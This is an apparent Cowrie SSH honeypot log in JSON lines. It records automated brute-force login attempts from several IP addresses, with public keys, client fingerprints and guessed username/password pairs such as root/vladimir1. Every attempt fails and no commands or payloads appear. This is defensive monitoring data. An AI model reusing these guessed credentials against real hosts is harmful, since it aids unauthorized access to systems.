{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:6e:e6:16:8e:37:c6:33:ee:27:5d:5e:2b:10:75:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDb+Tkx51MaKzyHzi41uHhbYuCpJ8yanQnu0BB+ZMxXG4ifw/rtN6W6zp7+oaFWTN3a/3IJaZl3KK3YpfTGX2Ff3gmJVHmTT5WiwUk+I1TGW48wuy9VPj635bHmFfbZV00x6NbkXESppvG65gnMZ75xEzPO3exmR+IBhwQX5evsWTYBCp/D2YFvc5qIqjAoAxkkR4nZ/fymNI+kRS6+SiEtAiOK1YSRyM9vxHbMWzvS0sBk+Um8XiaxXScgLc0/JviGwtf5/srVS//MagGb/mcTwrOdQJ86nCidnz/6Y13NXWNfdSK0wcH26PBd+/dLpWEaZ7zZel8DNE14VK/zD+E1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:15.934869Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:d8:05:19:1f:67:3a:af:df:06:41:78:3f:32:61:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZxxDNXIIsX1UXXnkrFZTiODlYU+AA2K/wMQEQbpCEm5Sc6YGgIKE5Z+f3Dn+q8GyrRlnmImPXz45lDFk7HHdxDuODCcyK0tMP9eNnKBliHEHP5amBrhI9aiOfIw0ikqPWblbRrNmF1DImkZYiGPe1u3+QCQ5mMTS/+RORbb+VKGcTGS2AgrqaxKEJRAAgYiYPFxq8ptImDm+viWjEaluqYzbGnmEML403rsvElfPtlM2tlPp6ZNsWL4CAb11gnQ+k5vPxW3S3Ptt6sCi7sB4ZlEP5GUMrdRTYYuCvDepm9vWCtaX5qU651B9JaIU5irZRDLLt/zQlB7ixmgv2VCx3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:d8:05:19:1f:67:3a:af:df:06:41:78:3f:32:61:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:16.021703Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:d8:05:19:1f:67:3a:af:df:06:41:78:3f:32:61:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZxxDNXIIsX1UXXnkrFZTiODlYU+AA2K/wMQEQbpCEm5Sc6YGgIKE5Z+f3Dn+q8GyrRlnmImPXz45lDFk7HHdxDuODCcyK0tMP9eNnKBliHEHP5amBrhI9aiOfIw0ikqPWblbRrNmF1DImkZYiGPe1u3+QCQ5mMTS/+RORbb+VKGcTGS2AgrqaxKEJRAAgYiYPFxq8ptImDm+viWjEaluqYzbGnmEML403rsvElfPtlM2tlPp6ZNsWL4CAb11gnQ+k5vPxW3S3Ptt6sCi7sB4ZlEP5GUMrdRTYYuCvDepm9vWCtaX5qU651B9JaIU5irZRDLLt/zQlB7ixmgv2VCx3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:16.029768Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:e1:27:d2:4f:ef:f9:45:cd:aa:6d:81:d0:50:9b:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5dAyaKb1D7SHefYDEDQ9wtcWrztBIlffuwG0ZuM2lkT8GqEsZiD8T1746l188HHpa+uxj9U0koQHN0XoY9NPERc7Euwz1JNsebko0ehI8Q+PMJ6dRfgR6CKwxG/Ay0dNPCfml/d5+qrVCtXTmomi3tpMqBMVAxYLNNeItyB2FwiRBapY43XctvmJkQ2L0v2MYM1opqof17hLsaIV+zlwtrSgw9FHoVCiLr9UFR/pudcCSlJ0vZljCnZac/N3SMkN3EdNtT4FdAQP68sVTb4ViofDnvJD1Ny+wI8lUW832XMhPhOrfnlD3BP0ZmXMvrCXl6qy9g30g8G4OSGzkplOokYpY+sv60qUi+V9f/9lCM77WQKudFCnyyd02CkwrEQ9HuB3rAXC4TIBd8pdfimcF8/1eEpe1m1NOW45LwkTY5X4tb4anWxt4V/5cBrJhK9zQzDdbtAEnARurhdo3/OkjC/UIG9KnLv47cb46e7yBfnqEtM6DwkfPpLERC9kJBxDfsCcfeMolsl/JCeDEAfyAEmYBGXcmZZnKEFeyluGuSTfntNP/LREUC07FCfIF5u/UxildDDhCOtZOuo+E2TE42tMqi0HS997r8kimThJxJkoYiN6pfsqRRMhExc4kFyhSsWg7/6z+pRIWbP7qgnHi91HpB+F3SMcpOcV15DxA4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:e1:27:d2:4f:ef:f9:45:cd:aa:6d:81:d0:50:9b:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:16.118036Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:e1:27:d2:4f:ef:f9:45:cd:aa:6d:81:d0:50:9b:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5dAyaKb1D7SHefYDEDQ9wtcWrztBIlffuwG0ZuM2lkT8GqEsZiD8T1746l188HHpa+uxj9U0koQHN0XoY9NPERc7Euwz1JNsebko0ehI8Q+PMJ6dRfgR6CKwxG/Ay0dNPCfml/d5+qrVCtXTmomi3tpMqBMVAxYLNNeItyB2FwiRBapY43XctvmJkQ2L0v2MYM1opqof17hLsaIV+zlwtrSgw9FHoVCiLr9UFR/pudcCSlJ0vZljCnZac/N3SMkN3EdNtT4FdAQP68sVTb4ViofDnvJD1Ny+wI8lUW832XMhPhOrfnlD3BP0ZmXMvrCXl6qy9g30g8G4OSGzkplOokYpY+sv60qUi+V9f/9lCM77WQKudFCnyyd02CkwrEQ9HuB3rAXC4TIBd8pdfimcF8/1eEpe1m1NOW45LwkTY5X4tb4anWxt4V/5cBrJhK9zQzDdbtAEnARurhdo3/OkjC/UIG9KnLv47cb46e7yBfnqEtM6DwkfPpLERC9kJBxDfsCcfeMolsl/JCeDEAfyAEmYBGXcmZZnKEFeyluGuSTfntNP/LREUC07FCfIF5u/UxildDDhCOtZOuo+E2TE42tMqi0HS997r8kimThJxJkoYiN6pfsqRRMhExc4kFyhSsWg7/6z+pRIWbP7qgnHi91HpB+F3SMcpOcV15DxA4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:16.122608Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:16.210052Z","src_ip":"103.176.90.41","session":"91b6b943ccf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":54512,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4915ba6b70","protocol":"ssh","message":"New connection: 103.189.234.9:54512 (10.17.0.5:22) [session: 6b4915ba6b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:47.875834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:47.881096Z","src_ip":"103.189.234.9","session":"6b4915ba6b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:48.115609Z","src_ip":"103.189.234.9","session":"6b4915ba6b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdQWE","message":"login attempt [root/123asdQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:49.080600Z","src_ip":"103.189.234.9","session":"6b4915ba6b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:27:50.317258Z","src_ip":"103.189.234.9","session":"6b4915ba6b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59930,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec6147918a04","protocol":"ssh","message":"New connection: 103.82.132.16:59930 (10.17.0.5:22) [session: ec6147918a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:28:34.622777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:28:34.627544Z","src_ip":"103.82.132.16","session":"ec6147918a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:28:34.874743Z","src_ip":"103.82.132.16","session":"ec6147918a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladimir1","message":"login attempt [root/vladimir1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:28:35.680082Z","src_ip":"103.82.132.16","session":"ec6147918a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:28:36.930715Z","src_ip":"103.82.132.16","session":"ec6147918a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":38458,"dst_ip":"10.17.0.5","dst_port":22,"session":"edb6fc086f5f","protocol":"ssh","message":"New connection: 103.189.234.9:38458 (10.17.0.5:22) [session: edb6fc086f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:29:23.859819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:29:23.864465Z","src_ip":"103.189.234.9","session":"edb6fc086f5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:29:24.097241Z","src_ip":"103.189.234.9","session":"edb6fc086f5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:29:25.062043Z","src_ip":"103.189.234.9","session":"edb6fc086f5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:29:26.299430Z","src_ip":"103.189.234.9","session":"edb6fc086f5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":52312,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3abb973ec6e","protocol":"ssh","message":"New connection: 103.189.234.9:52312 (10.17.0.5:22) [session: b3abb973ec6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:30:54.485691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:30:54.491216Z","src_ip":"103.189.234.9","session":"b3abb973ec6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:30:54.731771Z","src_ip":"103.189.234.9","session":"b3abb973ec6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123!@#qweQWE","message":"login attempt [testuser/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:30:55.708496Z","src_ip":"103.189.234.9","session":"b3abb973ec6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:30:56.953537Z","src_ip":"103.189.234.9","session":"b3abb973ec6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":57460,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4f82629b86","protocol":"ssh","message":"New connection: 176.32.39.21:57460 (10.17.0.5:22) [session: 6d4f82629b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:47.734221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:47.739251Z","src_ip":"176.32.39.21","session":"6d4f82629b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:47.859483Z","src_ip":"176.32.39.21","session":"6d4f82629b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"universe","message":"login attempt [root/universe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:48.226097Z","src_ip":"176.32.39.21","session":"6d4f82629b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:49.349057Z","src_ip":"176.32.39.21","session":"6d4f82629b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33350,"dst_ip":"10.17.0.5","dst_port":22,"session":"8022ddf75b1e","protocol":"ssh","message":"New connection: 193.37.70.224:33350 (10.17.0.5:22) [session: 8022ddf75b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:58.358660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:58.363389Z","src_ip":"193.37.70.224","session":"8022ddf75b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:58.460828Z","src_ip":"193.37.70.224","session":"8022ddf75b1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wasser","message":"login attempt [root/wasser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:58.741210Z","src_ip":"193.37.70.224","session":"8022ddf75b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:31:59.837481Z","src_ip":"193.37.70.224","session":"8022ddf75b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37160,"dst_ip":"159.203.135.109","dst_port":22,"session":"739d5d102eb9","protocol":"ssh","message":"New connection: 103.77.242.62:37160 (159.203.135.109:22) [session: 739d5d102eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:09.278605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:32:09.282844Z","src_ip":"103.77.242.62","session":"739d5d102eb9","protocol":"ssh"}
